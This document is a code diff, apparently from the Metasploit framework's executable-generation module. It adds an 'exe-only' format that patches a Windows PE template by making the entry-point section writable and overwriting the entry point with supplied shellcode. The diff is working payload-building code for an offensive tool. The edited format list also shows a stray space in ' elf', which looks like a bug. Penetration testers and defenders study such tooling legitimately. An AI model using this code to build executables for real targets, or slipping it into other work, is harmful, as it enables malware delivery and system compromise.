@@ -364,6 +364,41 @@ def self.to_win32pe(framework, code, opts={})
364
364
exe
365
365
end
366
366
367
+ def self . to_win32pe_only ( framework , code , opts = { } )
368
+
369
+ # Allow the user to specify their own EXE template
370
+ set_template_default ( opts , "template_x86_windows_old.exe" )
371
+
372
+ pe = Rex ::PeParsey ::Pe . new_from_file ( opts [ :template ] , true )
373
+
374
+ exe = ''
375
+ File . open ( opts [ :template ] , 'rb' ) { |fd |
376
+ exe = fd . read ( fd . stat . size )
377
+ }
378
+
379
+ sections_header = [ ]
380
+ pe . _file_header . v [ 'NumberOfSections' ] . times { |i | sections_header << [ ( i *0x28 ) +pe . rva_to_file_offset ( pe . _dos_header . v [ 'e_lfanew' ] +pe . _file_header . v [ 'SizeOfOptionalHeader' ] +0x18 +0x24 ) , exe [ ( i *0x28 ) +pe . rva_to_file_offset ( pe . _dos_header . v [ 'e_lfanew' ] +pe . _file_header . v [ 'SizeOfOptionalHeader' ] +0x18 ) , 0x28 ] ] }
381
+
382
+
383
+ #look for section with entry point
384
+ sections_header . each do |sec |
385
+ virtualAddress = sec [ 1 ] [ 0xc , 0x4 ] . unpack ( 'L' ) [ 0 ]
386
+ sizeOfRawData = sec [ 1 ] [ 0x10 , 0x4 ] . unpack ( 'L' ) [ 0 ]
387
+ characteristics = sec [ 1 ] [ 0x24 , 0x4 ] . unpack ( 'L' ) [ 0 ]
388
+ if pe . hdr . opt . AddressOfEntryPoint >= virtualAddress && pe . hdr . opt . AddressOfEntryPoint < virtualAddress +sizeOfRawData
389
+ #put this section writable
390
+ characteristics |=0x80000000
391
+ newcharacteristics = [ characteristics ] . pack ( 'L' )
392
+ exe [ sec [ 0 ] , newcharacteristics . length ] = newcharacteristics
393
+ end
394
+ end
395
+
396
+ #put the shellcode at the entry point, overwriting template
397
+ exe [ pe . rva_to_file_offset ( pe . hdr . opt . AddressOfEntryPoint ) , code . length ] = code
398
+
399
+ return exe
400
+ end
401
+
367
402
368
403
def self . to_win32pe_old ( framework , code , opts = { } )
369
404
@@ -1930,6 +1965,11 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
1930
1965
output = Msf ::Util ::EXE . to_win32pe_old ( framework , code , exeopts )
1931
1966
end
1932
1967
1968
+ when 'exe-only'
1969
+ if ( not arch or ( arch . index ( ARCH_X86 ) ) )
1970
+ output = Msf ::Util ::EXE . to_win32pe_only ( framework , code , exeopts )
1971
+ end
1972
+
1933
1973
when 'elf'
1934
1974
if ( not plat or ( plat . index ( Msf ::Module ::Platform ::Linux ) ) )
1935
1975
if ( not arch or ( arch . index ( ARCH_X86 ) ) )
@@ -1994,7 +2034,7 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
1994
2034
end
1995
2035
1996
2036
def self . to_executable_fmt_formats
1997
- [ 'dll' , 'exe' , 'exe-small' , 'elf' , 'macho' , 'vba' , 'vba-exe' , 'vbs' , 'loop-vbs' , 'asp' , 'aspx' , 'war' , 'psh' , 'psh-net' ]
2037
+ [ 'dll' , 'exe' , 'exe-small' , 'exe-only' , ' elf', 'macho' , 'vba' , 'vba-exe' , 'vbs' , 'loop-vbs' , 'asp' , 'aspx' , 'war' , 'psh' , 'psh-net' ]
1998
2038
end
1999
2039
2000
2040
#
0 commit comments